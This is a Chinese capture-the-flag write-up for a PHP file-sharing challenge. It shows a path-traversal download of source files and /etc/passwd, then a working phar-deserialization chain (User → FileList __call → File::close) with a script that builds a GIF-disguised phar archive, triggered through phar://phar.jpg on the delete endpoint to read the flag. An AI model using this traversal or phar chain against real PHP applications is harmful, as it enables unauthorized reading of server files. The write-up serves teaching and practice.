题目分析

功能测试

注册登录后来到上传文件界面，通过改后缀，改文件头，改content-type，上传了一句话木马，但是后缀会被改为jpg，无法利用
对于上传的文件，有下载和删除的功能

抓包看看下载功能，可以读取/etc/passwd，没能读到flag

可以读取到页面的源代码

filename=../../index.php

代码读取

index.php

<?php
include "class.php";

$a = new FileList($_SESSION['sandbox']);
$a->Name();
$a->Size();
?>

得知存在class.php

download.php

<?php
session_start();
if (!isset($_SESSION['login'])) {
    header("Location: login.php");
    die();
}

if (!isset($_POST['filename'])) {
    die();
}

include "class.php";
ini_set("open_basedir", getcwd() . ":/etc:/tmp");

chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename) && stristr($filename, "flag") === false) {
    Header("Content-type: application/octet-stream");
    Header("Content-Disposition: attachment; filename=" . basename($filename));
    echo $file->close();
} else {
    echo "File not exist";
}
?>

delete.php

<?php
session_start();
if (!isset($_SESSION['login'])) {
    header("Location: login.php");
    die();
}

if (!isset($_POST['filename'])) {
    die();
}

include "class.php";

chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename)) {
    $file->detele();
    Header("Content-type: application/json");
    $response = array("success" => true, "error" => "");
    echo json_encode($response);
} else {
    Header("Content-type: application/json");
    $response = array("success" => false, "error" => "File not exist");
    echo json_encode($response);
}
?>

class.php

<?php
error_reporting(0);
$dbaddr = "127.0.0.1";
$dbuser = "root";
$dbpass = "root";
$dbname = "dropbox";
$db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname);

class User {
    public $db;

    public function __construct() {
        global $db;
        $this->db = $db;
    }

    public function user_exist($username) {
        $stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;");
        $stmt->bind_param("s", $username);
        $stmt->execute();
        $stmt->store_result();
        $count = $stmt->num_rows;
        if ($count === 0) {
            return false;
        }
        return true;
    }

    public function add_user($username, $password) {
        if ($this->user_exist($username)) {
            return false;
        }
        $password = sha1($password . "SiAchGHmFx");
        $stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);");
        $stmt->bind_param("ss", $username, $password);
        $stmt->execute();
        return true;
    }

    public function verify_user($username, $password) {
        if (!$this->user_exist($username)) {
            return false;
        }
        $password = sha1($password . "SiAchGHmFx");
        $stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;");
        $stmt->bind_param("s", $username);
        $stmt->execute();
        $stmt->bind_result($expect);
        $stmt->fetch();
        if (isset($expect) && $expect === $password) {
            return true;
        }
        return false;
    }

    public function __destruct() {
        $this->db->close();
    }
}

class FileList {
    private $files;
    private $results;
    private $funcs;

    public function __construct($path) {
        $this->files = array();
        $this->results = array();
        $this->funcs = array();
        $filenames = scandir($path);

        $key = array_search(".", $filenames);
        unset($filenames[$key]);
        $key = array_search("..", $filenames);
        unset($filenames[$key]);

        foreach ($filenames as $filename) {
            $file = new File();
            $file->open($path . $filename);
            array_push($this->files, $file);
            $this->results[$file->name()] = array();
        }
    }

    public function __call($func, $args) {
        array_push($this->funcs, $func);
        foreach ($this->files as $file) {
            $this->results[$file->name()][$func] = $file->$func();
        }
    }

    public function __destruct() {
        $table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">';
        $table .= '<thead><tr>';
        foreach ($this->funcs as $func) {
            $table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';
        }
        $table .= '<th scope="col" class="text-center">Opt</th>';
        $table .= '</thead><tbody>';
        foreach ($this->results as $filename => $result) {
            $table .= '<tr>';
            foreach ($result as $func => $value) {
                $table .= '<td class="text-center">' . htmlentities($value) . '</td>';
            }
            $table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">下载</a> / <a href="#" class="delete">删除</a></td>';
            $table .= '</tr>';
        }
        echo $table;
    }
}

class File {
    public $filename;

    public function open($filename) {
        $this->filename = $filename;
        if (file_exists($filename) && !is_dir($filename)) {
            return true;
        } else {
            return false;
        }
    }

    public function name() {
        return basename($this->filename);
    }

    public function size() {
        $size = filesize($this->filename);
        $units = array(' B', ' KB', ' MB', ' GB', ' TB');
        for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024;
        return round($size, 2).$units[$i];
    }

    public function detele() {
        unlink($this->filename);
    }

    public function close() {
        return file_get_contents($this->filename);
    }
}
?>

关键代码审计

主要利用class.php来得到flag

user类

public function __destruct() {
    $this->db->close();
}

可以通过这个析构函数调用其他类

FileList类

__call() 是一个特殊的魔术方法（magic method），用于在对象中调用一个不存在或不可访问的方法时自动调用。它允许类在运行时捕获对未定义方法的调用，从而实现动态方法调用的功能

File类

    public function close() {
        return file_get_contents($this->filename);
    }

通过这个函数读取文件
读到的文件在析构的时候可以显示出来

思路

user类–>$this->db->close()–>FileList类–>__call()–>File类–>close()
不存在反序列化，那如何实现调用呢？
链接:『PHP』phar文件详解_phar文件格式_调用phar类方法生成phar文件_php phar-CSDN博客

可以使用phar伪协议，meta-data保存信息，它是序列化后的信息，phar://伪协议可以让一些函数自动反序列化这个字段信息
不管文件后缀名是什么，都会按照.phar来解析
通过脚本，生成.phar文件，上传之后伪协议读取

解题步骤

php脚本

<?php

class User {
    public $db;
}

class FileList {
    private $files = array();
    public function __construct() {
        $file = new File();
        array_push($this->files,$file);
    }
}

class File {
    public $filename = '/flag.txt';
}

$phar=new Phar('phar.phar');
$phar->startBuffering();
$phar->setStub('GIF89a'.'<?php __HALT_COMPILER();?>'); 
$phar->addFromString('test.txt','test');  //添加要压缩的文件
$obj= new User();
$obj->db=new FileList();
$phar->setMetadata($obj); //将自定义的metadata存入manifest
$phar->stopBuffering();

?>

在同级目录下生成,phar文件
注意，将配置文件php.ini里边的phar.readonly设置为Off，去掉前面的分号

解题

将生成的文件后缀改为jpg后上传

点击删除并抓包，修改文件名（下载页面对flag字段有过滤）
得到flag

filename=phar://phar.jpg